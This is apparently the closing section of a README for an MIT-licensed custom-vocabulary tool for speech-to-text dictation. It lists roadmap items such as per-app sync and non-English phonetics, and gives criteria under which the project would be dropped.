  • Per-app sync: push changes into Wispr Flow, Superwhisper and macOS Text Replacement automatically instead of by export.

  • Non-English phonetics. Double metaphone is tuned for English; names in other languages fall back to fuzzy matching.

  • Real-audio benchmark. The current corpus is generated from observed STT errors, not recorded speech.

Kill criteria, from the research memo: if Claude Code ships first-party custom vocabulary for /voice, the hook and MCP paths lose most of their value for the primary user (the file format and exports may still be worth keeping). If a system-wide dictation app captures agent voice input and its dictionary follows the user everywhere, the portable layer is redundant.

License

MIT. Copyright 2026 Ashlr.AI.

Related MCP Connectors

Related MCP Servers